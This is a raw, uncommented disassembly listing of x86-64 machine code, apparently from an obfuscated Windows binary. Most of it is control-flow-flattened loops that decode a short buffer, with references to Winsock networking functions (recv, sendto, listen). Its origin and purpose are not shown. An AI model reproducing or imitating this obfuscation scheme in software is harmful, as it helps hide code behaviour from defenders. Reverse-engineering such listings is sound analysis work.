jmp 0x14006c5ed
je 0x14006d14f
lea rax, [r9 + 2]
cmp r8, rax
je 0x14006d0c9
lea rax, [r9 + 3]
cmp r8, rax
je 0x14006d095
lea rax, [r9 + 5]
cmp r8, rax
je 0x14006d066
movzx r11d, dil
cmp r9, rdi
ja 0x14006d1b8
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x14006c61e
lea edx, [r11 + 0x3e]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x14006c670
lea rax, [r9 + 1]
cmp r8, rax
je 0x14006d021
lea rax, [r9 + 3]
cmp r8, rax
je 0x14006cfff
lea rax, [r9 + 2]
cmp r8, rax
je 0x14006cfd0
lea rax, [r9 + 6]
cmp r8, rax
je 0x14006cfb4
lea rax, [r9 + 4]
cmp r8, rax
je 0x14006cf96
lea rax, [r9 + 8]
cmp r8, rax
je 0x14006cf6c
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14006cbf1
nop dword [rax]
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14006cbe3
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14006cbbe
lea rax, [r9 + 5]
cmp r8, rax
je 0x14006cb9c
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14006cb82
lea rax, [r9 + 3]
cmp r8, rax
je 0x14006cb50
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14006cb21
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14006cb03
lea rax, [r9 + 1]
cmp r8, rax
je 0x14006cae5
lea rax, [r9 + 9]
cmp r8, rax
je 0x14006cabb
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14006c680
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x64]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14006d19c
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14006d180
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14006c865
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14006c847
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14006c829
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14006ca6f
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14006ca28
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14006c9e8
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14006c9c1
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14006c680
mov r8, rax
lea r9, [rax + 0x41]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14006c993
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14006c973
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14006c955
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14006c92a
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14006c8fc
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14006c8e2
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14006c8bc
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14006c893
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14006c885
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14006c680
mov r8, rax
lea r9, [rax + 6]
jmp 0x14006c680
lea edx, [r11 - 0x7e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x14006c670
lea edx, [r11 - 0xa]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x14006c5f1
add r11b, 0x6a
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x14006c595
lea edx, [r11 - 0x10]
mov ecx, gethostname
jmp 0x14006d02a
add r11b, 0x64
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x14006c582
sub r11b, 0x28
movzx eax, r10b
and al, r11b
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x14006c582
lea edx, [r11 + 0x4c]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x14
jmp 0x14006cf19
sub r11b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x40
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14006c582
add r11b, 0x34
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x6c
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14006c582
lea edx, [r11 - 0x58]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x14006d0ed
add r11b, 0x1c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x14006d115
sub r11b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi - 0x50]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14006c582
sub r11b, 0x4e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
mov byte [rbp + rdi - 0x50], bl
inc rdi
jmp 0x14006c582
lea edx, [r11 + 0x26]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0xa
add bl, dl
cmp r9, 0x3e8
jb 0x14006c9dc
lea edx, [r11 - 0x1c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x78]
jmp 0x14006d03a
lea edx, [r11 - 0x66]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x36
add bl, dl
cmp r8, 0x10
jae 0x14006cf01
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x14006ce2d
lea edx, [r11 + 0x6c]
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x14006c9fd
lea edx, [r11 + 0xe]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x62
add bl, dl
lea rax, [r9 + r8]
cmp rax, 2
je 0x14006cf51
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x14006ccea
lea edx, [r11 + 0x2e]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x42
jmp 0x14006ca3d
add r11b, 0x74
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x2c
movzx eax, byte [rbp + rdi - 0x50]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14006c582
sub r11b, 0x18
movzx eax, r10b
and al, r11b
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x58
add bl, r11b
jmp 0x14006d115
lea edx, [r11 + 0x5c]
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x14006d0ed
sub r11b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14006c582
add r11b, 0x44
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14006c582
lea edx, [r11 - 0x48]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 8
jmp 0x14006cf19
add r11b, 0x2c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x34
dec rdi
inc rdi
jmp 0x14006c582
sub r11b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x60
inc r9
dec rdi
inc rdi
jmp 0x14006c582
lea edx, [r11 + 0x14]
mov ecx, Ordinal_60
jmp 0x14006d02a
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14006cc14
lea edx, [r11 - 0x3a]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x6a
jmp 0x14006ca84
jne 0x14006cc40
add r11b, 0x7c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x64
movzx eax, byte [rbp + rdi - 0x50]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14006c582
inc rax
cmp r8, rax
jne 0x14006cc66
add r11b, 8
movzx eax, r10b
and al, r11b
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x38
add bl, r11b
jmp 0x14006d115
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14006cca1
sub r11b, 0x54
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14006c582
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14006ccc3
lea edx, [r11 + 0x38]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14006cf16
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14006ca86
lea edx, [r11 - 0x24]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 4
jmp 0x14006d038
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14006cd0d
lea edx, [r11 - 0x46]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x16
jmp 0x14006d038
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14006cd3c
sub r11b, 0x2e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x14006c582
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14006cd5e
lea edx, [r11 + 0x5e]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14006cf16
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14006cd95
sub r11b, 0x16
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x66
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14006c582
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14006cdc9
add r11b, 0x76
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x3a
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14006c582
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14006cdf2
sub r11b, 0x72
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x14006d115
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14006ca3f
add r11b, 0x1a
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi - 0x50]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14006c582
jne 0x14006ce5d
sub r11b, 8
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi - 0x50]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14006c582
inc rax
cmp r8, rax
jne 0x14006ce85
sub r11b, 0x7c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x14006d115
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14006ceaa
lea edx, [r11 + 0x10]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x70
add bl, dl
jmp 0x14006d0ed
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14006cede
sub r11b, 0x64
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x44
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14006c582
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14006c9ff
lea edx, [r11 - 0x4c]
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14006cf16
lea edx, [r11 + 0x70]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x10
add bl, r10b
add bl, dl
add r11b, 0x36
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x7a
add r10b, bl
add r10b, r11b
mov byte [rbp + rdi - 0x50], r10b
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14006c582
lea edx, [r11 - 4]
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x14006d0ed
add r11b, 0x2a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x26
movzx eax, byte [rbp + rdi - 0x50]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14006c582
sub r11b, 0x62
movzx eax, r10b
and al, r11b
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x52
add bl, r11b
jmp 0x14006d115
lea edx, [r11 + 0x12]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x7e
add bl, dl
jmp 0x14006d0ed
sub r11b, 0x7a
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14006c582
sub r11b, 0x1e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x2e
dec rdi
inc rdi
jmp 0x14006c582
lea edx, [r11 - 0x36]
mov ecx, 0x3d
movzx eax, r10b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
sub r11b, 0x56
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
mov byte [rbp + rdi - 0x50], cl
inc r9
dec rdi
inc rdi
jmp 0x14006c582
lea edx, [rdi - 0x7e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14006c582
movabs rcx, 0x836740ff120923f6
add rcx, rdi
and sil, cl
mov eax, reloc.WLDAP32.dll_Ordinal_35
sub al, sil
lea ebx, [rax + rax]
add bl, r10b
add bl, cl
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14006c582
movabs rcx, 0xbb89328d7fce386a
add rcx, rdi
and sil, cl
mov eax, reloc.WS2_32.dll_listen
sub al, sil
lea ebx, [rax + rax]
add bl, r10b
add bl, cl
movzx r11d, dil
sub r11b, 0x3e
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x4e
add r11b, r10b
movzx eax, r11b
mov byte [rbp + rdi - 0x50], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rdi - 0x50], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi - 0x50]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14006c582
movabs rcx, 0x2bcd15aa5b586152
add rcx, rdi
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x3e
movzx eax, byte [rbp + rdi - 0x50]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14006c582
sub r11b, 0x22
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x12
jmp 0x14006c580
add r11b, 0x52
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x3e
jmp 0x14006c570
lea rbx, [rbp + 0x14b20b8]
jmp 0x14006d1ce
lea rbx, [rbp + 0x68967e]
jmp 0x14006d1ce
lea rbx, [rbp - 0x50]
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x68]
call fcn.140002dc0
nop
mov r8d, recv
mov rdx, rbx
lea rcx, [rbp + 0x68]
call fcn.140004830
nop
lea r8, [rbp + 0x68]
lea rdx, [rbp + 0xd8]
lea rcx, [0x1402cdde0]
call fcn.14005e1e0
mov rcx, qword [rax]
mov qword [rcx + 0x30], r14
lea rcx, [rbp + 0x68]
call fcn.140002a20
mov rax, qword [0x1402c98a8]
mov qword [r15 + 0x40], rax
mov dword [rbp - 0x28], 0x34343a0e
mov byte [rbp - 0x24], 0x44
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x23], xmm0
mov qword [rbp - 0x13], rax
mov dword [rbp - 0xb], eax
mov word [rbp - 7], ax
movabs rsi, 0xe9f7744a4224034c
movabs r14, 0x39b3169c53441dac
movabs r13, 0x65c42e07cefc1714
movabs r15, 0xbde65cdec66c09e4
movzx edx, byte [rsp + 0x30]
nop
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14006de90
movzx r11d, byte [rbp + rbx - 0x28]
mov edi, r11d
cmp r8, rbx
ja 0x14006de87
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14006d2c0
lea rcx, [rbx + rsi]
mov rax, rdi
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rdi
add rdx, rcx
sub dl, 0x14
jmp 0x14006d2fa
je 0x14006de1f
lea rax, [r9 + 2]
cmp r8, rax
je 0x14006dda2
lea rax, [r9 + 3]
cmp r8, rax
je 0x14006dd77
lea rax, [r9 + 6]
cmp r8, rax
je 0x14006dd28
lea rax, [r9 + 4]
cmp r8, rax
je 0x14006dd06
movzx r10d, bl
nop
cmp r9, rbx
ja 0x14006de7e
lea rax, [r9 + 9]
cmp r8, rax
jae 0x14006d32c
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14006d370
lea rax, [r9 + 1]
cmp r8, rax
je 0x14006dcc4
lea rax, [r9 + 2]
cmp r8, rax
je 0x14006dca2
lea rax, [r9 + 3]
cmp r8, rax
je 0x14006dc88
lea rax, [r9 + 5]
cmp r8, rax
je 0x14006dc6e
lea rax, [r9 + 7]
cmp r8, rax
je 0x14006dc44
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14006d8ea
nop dword [rax]
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14006d8dc
lea rax, [r9 + 6]
cmp r8, rax
je 0x14006d8b3
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14006d88d
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14006d873
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14006d845
lea rax, [r9 + 8]
cmp r8, rax
je 0x14006d81a
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14006d800
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14006d7e0
lea rax, [r9 + 2]
cmp r8, rax
je 0x14006d7b2
lea r8, [r9 + 3]
lea r9, [r8 + 0x41]
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14006de62
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14006de46
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14006d55c
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14006d53f
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14006d522
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14006d768
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14006d723
lea rcx, [r9 + 0x42]
cmp r8, rcx
jb 0x14006d6e8
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14006d6c5
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14006d380
mov r8, rcx
lea r9, [rcx + 0xa]
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x14006d697
lea rax, [r9 + 0x10]
cmp rcx, rax
ja 0x14006d679
lea rax, [r9 + 0x2a]
cmp rcx, rax
ja 0x14006d65d
lea rax, [r9 + 0x64]
cmp rcx, rax
ja 0x14006d632
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x14006d604
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x14006d5e7
lea rax, [r9 + 1]
cmp rcx, rax
ja 0x14006d5c1
lea rcx, [r9 + 0x80]
cmp r8, rcx
ja 0x14006d598
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14006d57c
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14006d380
mov r8, rcx
lea r9, [rcx + 0x20]
jmp 0x14006d380
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14006d370
lea edx, [r10 - 0x54]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14006d300
add r10b, 0x14
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14006d295
lea edx, [r10 - 0x20]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x20
add dl, cl
jmp 0x14006dcdc
add r10b, 0x48
movzx eax, r11b
and al, r10b
mov ecx, 4
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
inc r9
dec rbx
inc rbx
jmp 0x14006d282
sub r10b, 0x50
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
dec rbx
inc rbx
jmp 0x14006d282
lea edx, [r10 + 0x18]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x14006dd41
add r10b, 0x80
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x80
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006d282
sub r10b, 0x18
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x58
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006d282
lea edx, [r10 + 0x50]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x30
add dl, cl
jmp 0x14006ddbd
sub r10b, 0x48
movzx eax, r11b
and al, r10b
add al, al
movzx edx, r11b
sub dl, al
sub dl, 8
add dl, r10b
jmp 0x14006dde6
add r10b, 0x20
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rbp + rbx - 0x28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14006d282
sub r10b, 0x5c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x7c
mov byte [rbp + rbx - 0x28], dl
inc rbx
jmp 0x14006d282
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x54
cmp r9, 0x64
jb 0x14006d6dc
lea edx, [r10 + 0x48]
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x14006dcdc
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x2c
cmp r8, 0x40
jae 0x14006dc0f
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x14006db2f
lea edx, [r10 + 0x58]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x68
add dl, cl
jmp 0x14006d6fd
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 4
lea rax, [r9 + r8]
cmp rax, 2
je 0x14006dc2e
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x14006da1f
lea edx, [r10 + 0x1c]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x14006d738
add r10b, 0x68
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx - 0x28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14006d282
sub r10b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14006dde6
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add dl, cl
jmp 0x14006ddba
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006d282
add r10b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x38
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006d282
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x10
jmp 0x14006dd41
sub r10b, 0x28
movzx eax, r10b
and al, r11b
mov ecx, recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x14006d282
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x14006d282
lea edx, [r10 - 0x58]
mov ecx, 0x34
jmp 0x14006dccd
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x14006d90d
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x14
jmp 0x14006d77d
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14006d940
add r10b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x48
movzx eax, byte [rbp + rbx - 0x28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14006d282
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14006d963
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
add cl, cl
add dl, cl
jmp 0x14006ddba
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14006d99b
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006d282
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14006d9d6
sub r10b, 0x28
movzx eax, r10b
and al, r11b
mov ecx, recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
